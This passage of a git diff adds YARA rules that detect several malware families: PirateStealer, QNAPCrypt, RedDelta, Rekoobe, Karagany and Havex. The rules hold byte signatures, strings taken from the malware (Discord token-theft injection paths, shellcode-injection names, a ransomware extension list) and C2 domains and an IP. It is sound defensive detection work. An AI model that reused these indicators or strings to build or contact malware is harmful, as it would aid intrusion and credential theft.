+		$l4 = "H@@__SWPJEIVJxJzObRdTd]eH~FqClew~;x&a,k-x6y6!7!5$-91>N6L\"P-\\)2V*L8D'[3S0N-M/K]K_NGS=T>\\8H G" fullword wide ascii
+	
+	condition:
+		7 of ($s*) or all of ($l*)
+	
+}
diff --git a/yara-mikesxrs/Intezer/NexePirateSteal.yar b/yara-mikesxrs/Intezer/NexePirateSteal.yar
new file mode 100644
index 0000000..b9058a5
--- /dev/null
+++ b/yara-mikesxrs/Intezer/NexePirateSteal.yar
@@ -0,0 +1,13 @@
+rule nexe_piratesteal {
+	meta:
+        author = "Intezer"
+        description = "Hunting for Nexe compiled PirateStealer Dropper"
+        tlp = "white"
+  strings:
+		$nexe_str = "process.__nexe = {\"resources\""
+        $steal_str0 = "file.includes(\"iscord\")"
+        $steal_str1 = "\\app-*\\modules\\discord_desktop_core-*\\discord_desktop_core\\index.js"
+		$steal_str2 = "pwnBetterDiscord"
+  condition:
+    (uint16(0) == 0x5A4D and $nexe_str and 2 of ($steal_str*))
+}
diff --git a/yara-mikesxrs/Intezer/QNAPCrypt.yar b/yara-mikesxrs/Intezer/QNAPCrypt.yar
new file mode 100644
index 0000000..7396315
--- /dev/null
+++ b/yara-mikesxrs/Intezer/QNAPCrypt.yar
@@ -0,0 +1,19 @@
+rule QnapCrypt
+{	
+	meta:
+		copyright = "Intezer Labs"
+		author = "Intezer Labs"
+		reference = "https://www.intezer.com"
+	
+    strings:
+        $a = "Do NOT remove this file and NOT remove last line in this file!" nocase
+        $b0 = "main.writemessage"
+        $b1 = "inf.1st.3ds.3fr.4db.4dd.602.a4p.a5w.abf.abw.act.adr.aep.aes.aex.aim.alx.ans.apk.apt.arj.aro.arw.asa.asc.ase.asp.asr.att.aty.avi.awm.awp.awt.aww.axd.bar.bat.bay.bc6.bc7.big.bik.bin.bit.bkf.bkp.bml.bok.bpw.bsa.bwp.bz2.c++.cab.cas.cat.cdf.cdr.cer.cfg.cfm.cfr.cha.chm.cms.con.cpg.cpp.cr2.crl.crp.crt.crw.csp.csr.css.csv.cxx.dap.das.dat.db0.dba.dbf.dbm.dbx.dcr.der.dll.dml.dmp.dng.doc.dot.dwg.dwk.dwt.dxf.dxg.ece.eml.epk.eps.erf.esm.ewp.far.fdb.fit.flv.fmp.fos.fpk.fsh.fwp.gdb.gho.gif.gne.gpg.gsp.gxk.hdm.hkx.htc.htm.htx.hxs.idc.idx.ifx.iqy.iso.itl.itm.iwd.iwi.jcz.jpe.jpg.jsp.jss.jst.jvs.jws.kdb.kdc.key.kit.ksd.lbc.lbf.lrf.ltx.lvl.lzh.m3u.m4a.map.max.mdb.mdf.mef.mht.mjs.mlx.mov.moz.mp3.mpd.mpp.mvc.mvr.myo.nba.nbf.ncf.ngc.nod.nrw.nsf.ntl.nv2.nxg.nzb.oam.odb.odc.odm.odp.ods.odt.ofx.olp.orf.oth.p12.p7b.p7c.pac.pak.pdb.pdd.pdf.pef.pem.pfx.pgp.php.png.pot.ppj.pps.ppt.prf.pro.psd.psk.psp.pst.psw.ptw.ptx.pub.qba.qbb.qbo.qbw.qbx.qdf.qfx.qic.qif.qrm.r3d.raf.rar.raw.re4.rim.rjs.rsn.rss.rtf.rw2.rw3.rwl.rwp.saj.sav.sdb.sdc.sdf.sht.sid.sie.sis.sko.slm.snx.spc.sql.sr2.src.srf.srw.ssp.stc.stl.stm.stp.sum.svc.svg.svr.swz.sxc.t12.t13.tar.tax.tbl.tbz.tcl.tgz.tib.tor.tpl.txt.ucf.upk.url.vbd.vbo.vcf.vdf.vdi.vdw.vlp.vmx.vpk.vrt.vtf.w3x.wav.wb2.wbs.wdb.web.wgp.wgt.wma.wml.wmo.wmv.woa.wpd.wpp.wps.wpx.wrf.x3f.x_t.xbl.xbm.xht.xla.xlk.xll.xlm.xls.xlt.xlw.xml.xpd.xpm.xps.xss.xul.xwd.xws.xxx.zfo.zip.zul.zvz"
+        $b2 = "main.makesecret"
+        $b3 = "main.chDir"
+        $b4 = "main.writemessage"
+        $b5 = "main.randSeq"
+        $b6 = "main.encrypt"
+    condition:
+        $a or 2 of ($b*)
+}
diff --git a/yara-mikesxrs/Intezer/RedDelta.yar b/yara-mikesxrs/Intezer/RedDelta.yar
new file mode 100644
index 0000000..ca7a262
--- /dev/null
+++ b/yara-mikesxrs/Intezer/RedDelta.yar
@@ -0,0 +1,59 @@
+rule RedDelta_loader
+{
+	meta:
+		copyright = "Intezer Labs"
+		author = "Intezer Labs"
+		reference = "https://www.intezer.com"
+	strings:
+        	$str1 = "DotNetLoader"
+        	$str2 = "clipboardinject"
+        	$str3 = "InjectShellCode"
+        	$str4 = "WMIBackdoor"
+	condition:
+		3 of them
+}
+
+rule RedDelta_vaccine
+{
+	meta:
+		copyright = "Intezer Labs"
+		author = "Intezer Labs"
+		reference = "https://www.intezer.com"
+	strings:
+		$a1 = { 4C [7] 48 [7] 48 [6] E8 [4] 0F B6 [1] 85 [1] 0F 84 [4] 48 [6] 48 [4] E8 [4] 9? 48 [4] 48 [7] E8 [4] 9? 48 [4] E8 [4] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] 48 [7] 48 [7] E8 [4] E8 [4] 48 [6] 48 [7] E8 [4] C6 [7] C6 [7] C6 [7] C6 [7] E8 [4] 48 [7] 48 [7] E8 [4] E8 [4] 48 [7] E8 [4] 48 [4] E8 [4] 48 [7] 48 [2] 33 [1] B9 [4] F3 [1] E8 [4] 4C [4] BA [4] 48 [7] E8 [4] B8 [4] 48 [3] 0F BE [6] 85 [1] 74 [1] 48 [7] 48 [7] E8 [4] 89 }
+		$a2 = { 0F 10 [2] 0F 29 [3] F2 [4] F2 [5] 48 [3] 48 [2] 45 [2] 48 [4] FF 5? [1] 48 [3] 48 [2] FF 5? [1] 48 [3] 48 [2] FF 5? [1] BF [4] 48 [6] FF 1? [4] 9? 48 [6] FF 1? [4] 9? 48 [6] FF 1? [4] 9? 48 [6] FF 1? [4] 9? 48 [3] FF 1? [4] 9? 48 [6] FF 1? [4] 8B [1] 48 [6] 48 [2] E8 [4] 48 [7] 48 [6] 5? 5? 5? C3 }
+		$a3 = { 48 [7] 48 [2] 33 [1] B9 [4] F3 [1] 48 [7] 48 [2] 33 [1] B9 [4] F3 [1] B8 [4] 66 [7] B8 [4] 66 [7] 48 [6] 48 [7] E8 [4] 48 [7] 48 [7] E8 [4] 48 [7] E8 [4] 48 [6] 48 [7] E8 [4] 48 [6] 48 [7] E8 [4] 48 [6] 48 [7] E8 [4] 48 [7] 48 [7] E8 [4] 48 [2] 48 [7] E8 [4] 48 [7] E8 [4] 48 [7] E8 [4] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] 48 [7] 48 [7] E8 [4] 48 [7] E8 [4] C7 [7] 48 [8] 41 [5] 4C [2] 33 [1] 33 [1] FF 1? [4] 89 [3] 48 [4] 48 [7] B8 [4] 48 [7] 48 [2] 48 [6] 48 [3] 48 [2] E8 [4] 48 [7] 48 [7] 48 [4] 48 [7] E8 [4] 8B [3] 89 [3] 48 [4] 48 [4] 41 [5] 4C [2] 33 [1] 33 [1] FF 1? [4] 0F B6 [3] 85 [1] 0F 85 [4] 48 [4] 48 [7] 48 [8] 48 [4] 48 [7] 48 [4] 66 [4] 75 }
+		$a4 = { 48 [3] 48 [2] 83 [2] FF 5? [1] 48 [3] 48 [2] 33 [1] FF 5? [1] B8 [4] 66 [3] 48 [6] E8 [4] 48 [3] 0F 10 [2] 0F 29 [2] F2 [4] F2 [4] 48 [3] FF 1? [4] 9? 0F 10 [2] 0F 29 [2] F2 [4] F2 [4] 48 [3] FF 1? [4] 9? 0F 10 [2] 0F 29 [3] F2 [4] F2 [5] 48 [3] 48 [2] 48 [3] 48 [4] 48 [3] 48 [4] C7 [7] 48 [3] 48 [4] 48 [4] 48 [4] 41 [5] 4C [3] 48 [6] FF 9? [4] 89 [2] 48 [3] FF 1? [4] 9? 48 [3] FF 1? [4] 9? 48 [3] FF 1? [4] 83 [3] 7D [1] 48 [6] 48 [4] E8 [4] 8B [2] 48 [2] E8 [4] 48 [3] 48 [2] 74 }
+		$a5 = { 4C [7] 48 [7] 48 [6] E8 [4] 0F B6 [1] 85 [1] 0F 84 [4] 48 [6] 48 [4] E8 [4] 9? 48 [4] 48 [7] E8 [4] 9? 48 [4] E8 [4] E8 [4] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] 48 [7] 48 [7] E8 [4] E8 [4] 48 [6] 48 [7] E8 [4] E8 [4] C6 [7] C6 [7] C6 [7] C6 [7] E8 [4] 48 [7] 48 [7] E8 [4] E8 [4] 48 [7] E8 [4] 48 [4] E8 [4] 48 [7] 48 [2] 33 [1] B9 [4] F3 [1] E8 [4] 4C [4] BA [4] 48 [7] E8 [4] E8 [4] B8 [4] 48 [3] 0F BE [6] 85 [1] 74 [1] 48 [7] 48 [7] E8 [4] 89 }
+		$a6 = { 48 [4] 48 [4] 48 [4] 5? 48 [7] 48 [6] 48 [6] 48 [2] 48 [6] B8 [4] 48 [2] 66 [3] 48 [3] 48 [3] 80 7? [3] 48 [3] 75 [1] 48 [3] C7 [7] 48 [4] 44 [3] 33 [1] 4C [3] 33 [1] FF 1? [4] 48 [3] FF 1? [4] 33 [1] 48 [6] 48 [2] 66 [4] 33 [1] 48 [4] 48 [4] 89 [3] 66 [4] FF 1? [4] 48 [6] FF 1? [4] 8B [5] 48 [6] F2 [7] 89 [2] 0F B7 [5] 66 [3] 0F B6 [5] 88 [2] 8B [5] 89 [2] 0F B7 [5] 66 [3] 0F B6 [5] F2 [4] F2 [7] 88 [2] F2 [4] FF 1? [4] 48 [2] 48 [3] 48 [3] FF 1? [4] 8D [2] 33 [1] FF D? 89 [2] 85 [1] 79 }
+		$a7 = { 4C [7] 48 [7] 48 [6] E8 [4] 0F B6 [1] 85 [1] 0F 84 }
+		$b8 = { 4C [7] 48 [7] 48 [6] E8 [4] 0F B6 [1] 85 [1] 0F 84 [4] 48 [6] 48 [4] E8 [4] 9? 48 [4] 48 [7] E8 [4] 9? 48 [4] E8 [4] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] C6 [7] 48 [7] 48 [7] E8 [4] E8 [4] 48 [6] 48 [7] E8 [4] C6 [7] C6 [7] C6 [7] C6 [7] E8 [4] 48 [7] 48 [7] E8 [4] E8 [4] 48 [7] E8 [4] 48 [4] E8 [4] 48 [7] 48 [2] 33 [1] B9 [4] F3 [1] E8 [4] 4C [4] BA [4] 48 [7] E8 [4] B8 [4] 48 [3] 0F BE [6] 85 [1] 74 }
+		$a9 = { 80 7? [3] 48 [3] 75 [1] 48 [3] C7 [7] 48 [4] 44 [3] 33 [1] 4C [3] 33 [1] FF 1? [4] 48 [3] FF 1? [4] 33 [1] 48 [6] 48 [2] 66 [4] 33 [1] 48 [4] 48 [4] 89 [3] 66 [4] FF 1? [4] 48 [6] FF 1? [4] 8B [5] 48 [6] F2 [7] 89 [2] 0F B7 [5] 66 [3] 0F B6 [5] 88 [2] 8B [5] 89 [2] 0F B7 [5] 66 [3] 0F B6 [5] F2 [4] F2 [7] 88 [2] F2 [4] FF 1? [4] 48 [2] 48 [3] 48 [3] FF 1? [4] 8D [2] 33 [1] FF D? 89 [2] 85 [1] 79 [1] 45 [2] 48 [4] 33 [1] 48 [4] 48 [4] E8 [4] 44 [3] 48 [6] 48 [4] E8 [4] 8B [2] 48 [4] E8 [4] 33 [1] E9 }
+		$a10 = { 48 [7] E8 [4] 48 [7] 48 [7] 48 [2] 48 [7] FF 5? [1] 48 [11] 48 [7] E8 [4] 48 [7] 48 [6] FF 1? [4] 48 [7] 48 [2] 48 [7] 4C [7] 48 [2] 48 [7] 48 [7] FF 9? [4] 89 [3] 83 [4] 0F 8D }
+		$b11 = { 48 [7] E8 [4] 48 [7] 48 [7] 48 [2] 48 [7] FF 5? [1] 0F B6 [3] 85 [1] 74 [1] 48 [7] E8 [4] 48 [7] 48 [6] FF 1? [4] 48 [7] 48 [2] 48 [7] 48 [7] 4C [2] 41 [5] 48 [2] 48 [7] 48 [7] FF 9? [4] 89 [3] EB }
+		$a12 = { 80 7? [3] 48 [3] 75 [1] 48 [3] C7 [7] 48 [4] 44 [3] 33 [1] 4C [3] 33 [1] FF 1? [4] 48 [3] FF 1? [4] 33 [1] 48 [6] 48 [2] 66 [4] 33 [1] 48 [4] 48 [4] 89 [3] 66 [4] FF 1? [4] 48 [6] FF 1? [4] 8B [5] 48 [6] F2 [7] 89 [2] 0F B7 [5] 66 [3] 0F B6 [5] 88 [2] 8B [5] 89 [2] 0F B7 [5] 66 [3] 0F B6 [5] F2 [4] F2 [7] 88 [2] F2 [4] FF 1? [4] 48 [2] 48 [3] 48 [3] FF 1? [4] 8D [2] 33 [1] FF D? 89 [2] 85 [1] 79 }
+		$b13 = { 0F 10 [5] 0F B6 [5] 48 [3] 48 [3] 0F 11 [2] 88 [2] FF 1? [4] 33 [1] 48 [4] 4C [6] 48 [6] 44 [3] FF D? 89 [2] 85 [1] 79 }
+
+	condition:
+		6 of them
+}
+
+rule RedDelta_c2
+{
+	meta:
+		copyright = "Intezer Labs"
+		author = "Intezer Labs"
+		reference = "https://www.intezer.com"
+	strings:
+		$str1 = "update.flach.cn"
+        	$str2 = "update.flach.com.cn"
+        	$str3 = "aHR0cDovL3VwZGF0ZS5mbGFjaC5jbg=="
+        	$str4 = "www.flach.cn"
+        	$str5 = "159.138.84.217"
+        	$str6 = "update.careerhuawei.net"
+        	$str7 = "aHR0cDovL3VwZGF0ZS5jYXJlZXJodWF3ZWkubmV0Ojgx"
+		$str8 = "update1.jscachecdn.com"
+
+	condition:
+		any of them
+}
diff --git a/yara-mikesxrs/Intezer/Rekoobe.yar b/yara-mikesxrs/Intezer/Rekoobe.yar
new file mode 100644
index 0000000..69940df
--- /dev/null
+++ b/yara-mikesxrs/Intezer/Rekoobe.yar
@@ -0,0 +1,16 @@
+rule Rekoobe_v2
+{
+	meta:
+		copyright = "Intezer Labs"
+		author = "Intezer Labs"
+		reference = "https://www.intezer.com"
+	strings:
+		$a0 = { 83 ?? ?? FF 7? ?? 5? 89 ?? 5? 5? 5? 5? 83 ?? ?? 8B ?? ?? 65 ?? ?? ?? ?? ?? 89 ?? ?? 31 ?? 8B ?? B9 ?? ?? ?? ?? 89 ?? F2 ?? 89 ?? F7 ?? 83 ?? ?? 5? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? C7 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? C6 ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 88 [0-128] 89 ?? B8 ?? ?? ?? ?? 85 ?? 0F 85 [0-128] E8 ?? ?? ?? ?? 89 ?? }
+		$a1 = { 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 89 ?? 83 ?? ?? 85 ?? 78 [0-128] 83 ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 74 [0-128] 6A ?? FF 7? ?? 8B ?? ?? FF 3? 5? E8 ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? 83 ?? ?? 6A ?? 5? 5? E8 ?? ?? ?? ?? 83 }
+		$b0 = { 0F 8E [0-128] 0F B6 ?? 4C ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? 4C ?? ?? 48 ?? ?? ?? 40 ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 40 ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 0F B6 ?? 4C ?? ?? ?? ?? ?? ?? ?? 0F B6 ?? 4C ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 40 ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? ?? 40 ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 0F B6 ?? 4C ?? ?? ?? ?? ?? ?? ?? 0F B6 ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 40 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 40 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 49 ?? ?? 4C ?? ?? 0F B6 ?? 4C ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 0F B6 ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 0F B6 ??}
+		$b1 = { BB ?? ?? ?? ?? 45 ?? ?? 7F [0-128] EB [0-128] 49 ?? ?? C6 ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? 48 ?? C6 ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? 48 ?? C6 ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? 48 ?? 48 ?? ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 41 ?? ?? ?? ?? 48 ?? ?? BE ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? 48 ?? ?? B9 ?? ?? ?? ?? BE ?? ?? ?? ?? 44 ?? ?? E8 ?? ?? ?? ?? 89 ?? B8 ?? ?? ?? ?? 83 ?? ?? 75 }
+		$b2 = { 8D [0-128] 44 ?? ?? ?? 4D ?? ?? B9 ?? ?? ?? ?? 4C ?? ?? BE ?? ?? ?? ?? 89 ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 83 ?? ?? 0F 85 [0-128] 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? 8D ?? ?? 48 ?? C6 ?? ?? ?? ?? ?? ?? 8D ?? ?? 48 ?? C6 ?? ?? ?? ?? ?? ?? 8D ?? ?? 48 ?? 48 ?? ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? BE ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 }
+		$b3 = { 49 ?? ?? 48 ?? ?? 49 ?? ?? 49 ?? ?? ?? 41 ?? ?? ?? BB ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 01 ?? 48 ?? ?? 48 ?? ?? 0F 97 ?? 0F B6 ?? 48 ?? ?? 48 ?? ?? ?? 49 ?? ?? 0F 82 [0-128] 4D ?? ?? 74 [0-128] 4A ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 49 ?? ?? ?? ?? 4C ?? ?? E8 ?? ?? ?? ?? 49 ?? ?? 49 ?? ?? 49 ?? ?? ?? 76 }
+	condition:
+		all of ($a*) or all of ($b*)
+}
diff --git a/yara-mikesxrs/Intezer/RussianAPT.yar b/yara-mikesxrs/Intezer/RussianAPT.yar
new file mode 100644
index 0000000..19ccdfe
--- /dev/null
+++ b/yara-mikesxrs/Intezer/RussianAPT.yar
@@ -0,0 +1,7634 @@
+import "hash"
+
+rule Karagany {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 89 ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? 8D ?? ?? 68 ?? ?? ?? ?? 6A ?? 8D ?? ?? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_1 = { 5? 89 ?? 83 ?? ?? 60 8B ?? ?? 29 ?? 66 ?? ?? ?? 89 ?? ?? 83 ?? ?? 8B ?? ?? 89 ?? ?? 8D ?? ?? 8B ?? ?? BA ?? ?? ?? ?? F7 ?? 01 ?? 89 ?? ?? B8 ?? ?? ?? ?? 8B ?? ?? F7 ?? 03 ?? ?? 8B ?? ?? 29 ?? 89 ?? ?? 8B ?? ?? 8D ?? ?? 5? 6A ?? FF 7? ?? FF 7? ?? FF 5? ?? 85 ?? 74 }
+		$block_2 = { 5? 89 ?? 83 ?? ?? B8 ?? ?? ?? ?? 60 C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? 8D ?? ?? 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_3 = { 5? 89 ?? 83 ?? ?? 60 8B ?? ?? 29 ?? 66 ?? ?? ?? 89 ?? ?? 83 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 8D ?? ?? 8B ?? ?? 5? 6A ?? 5? FF 7? ?? FF 5? ?? 85 ?? 74 }
+		$block_4 = { 5? 89 ?? 83 ?? ?? 60 8B ?? ?? 8B ?? ?? 01 ?? 83 ?? ?? 83 ?? ?? 8D ?? ?? 83 ?? ?? 8B ?? 01 ?? 89 ?? ?? 8D ?? ?? 85 ?? 74 }
+		$block_5 = { 8D ?? ?? 83 ?? ?? 8B ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 5? ?? 85 ?? 0F 84 }
+		$block_6 = { 5? 89 ?? 83 ?? ?? 60 8B ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 89 ?? ?? 74 }
+		$block_7 = { 5? 89 ?? 60 8B ?? ?? 8B ?? 83 ?? ?? 8B ?? ?? 83 ?? ?? 29 }
+		$block_8 = { 5? 89 ?? 83 ?? ?? 60 8B ?? ?? 66 ?? ?? 66 ?? ?? ?? 75 }
+		$block_9 = { 8B ?? ?? 8B ?? ?? 03 ?? ?? 89 ?? 8D ?? ?? 85 ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "fcf7bfe68ff302869475b73e4c605a099ed2e1074e79c7b3acb2a451cd2ea915" or
+		hash.sha256(0, filesize) == "568e05c51259597cf79b633a041ad090588846b95c85f19a847d731c90a11122" or
+		hash.sha256(0, filesize) == "28143c7638f22342bff8edcd0bedd708e265948a5fcca750c302e2dca95ed9f0" or
+		10 of them
+}
+
+rule Havex {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? 03 ?? 0F AF ?? 5? 5? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 72 }
+		$block_1 = { 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8A ?? 5? F6 ?? 5? 1A ?? 8D ?? ?? FE ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_2 = { 8D ?? ?? C6 ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 2B ?? ?? 6A ?? 99 5? F7 ?? 4? 83 ?? ?? 3B ?? 0F 82 }
+		$block_3 = { 8D ?? ?? 5? 8B ?? E8 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 0F B7 ?? 5? E8 ?? ?? ?? ?? 5? 84 ?? 75 }
+		$block_4 = { 6A ?? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 6A ?? 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_5 = { 07 E8 ?? ?? ?? ?? 5? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 5? 3B ?? 74 }
+		$block_6 = { 8D ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 8B ?? ?? 5? 6A ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? EB }
+		$block_7 = { 8B ?? ?? 03 ?? 0F AF ?? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 72 }
+		$block_8 = { 8B ?? ?? 33 ?? 66 ?? ?? ?? 8B ?? ?? 0F B6 ?? ?? C1 ?? ?? C1 ?? ?? 0B ?? FF 0? ?? 4? 79 }
+		$block_9 = { 66 ?? ?? 66 ?? ?? ?? 66 ?? 33 ?? 4? 5? 0F B7 ?? 8B ?? 66 ?? ?? 0F B7 ?? 4? 83 ?? ?? 7D }
+		$block_10 = { 5? 8D ?? ?? ?? 5? E8 ?? ?? ?? ?? 33 ?? 89 ?? ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_11 = { 8B ?? ?? 8D ?? ?? 8B ?? 2B ?? D1 ?? 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 5? 8B ?? 5? C9 C3 }
+		$block_12 = { 80 B? ?? ?? ?? ?? ?? 8D ?? ?? 0F 94 ?? 0F B6 ?? 5? 5? E8 ?? ?? ?? ?? 33 ?? 8B ?? 4? EB }
+		$block_13 = { 8B ?? ?? 2B ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? 2B ?? 89 ?? ?? 89 ?? ?? 3B ?? 0F 83 }
+		$block_14 = { 5? 8B ?? 0F B7 ?? ?? 83 ?? ?? 33 ?? 4? 5? 8B ?? 66 ?? ?? 0F B7 ?? 4? 83 ?? ?? 7D }
+		$block_15 = { E8 ?? ?? ?? ?? 2B ?? ?? 8B ?? C1 ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 83 ?? ?? 0F 83 }
+		$block_16 = { 33 ?? 6A ?? 5? 8B ?? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 5? 89 ?? 8B }
+		$block_17 = { 8D ?? ?? 83 ?? ?? ?? 5? 33 ?? 8B ?? AB AB AB AB 33 ?? 8D ?? ?? AB AB AB AB 5? }
+		$block_18 = { 6A ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F B7 ?? 72 }
+		$block_19 = { 8B ?? ?? BB ?? ?? ?? ?? BE ?? ?? ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_20 = { 8B ?? ?? 33 ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? ?? ?? ?? 38 ?? ?? 0F 84 }
+		$block_21 = { 8B ?? ?? 8D ?? ?? A5 A5 A5 A5 FF 1? ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? C3 }
+		$block_22 = { 5? FF 7? ?? 5? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? BB ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_23 = { 33 ?? 66 ?? ?? 0F B7 ?? ?? ?? 4? 5? 8B ?? 66 ?? ?? 0F B7 ?? 4? 83 ?? ?? 7D }
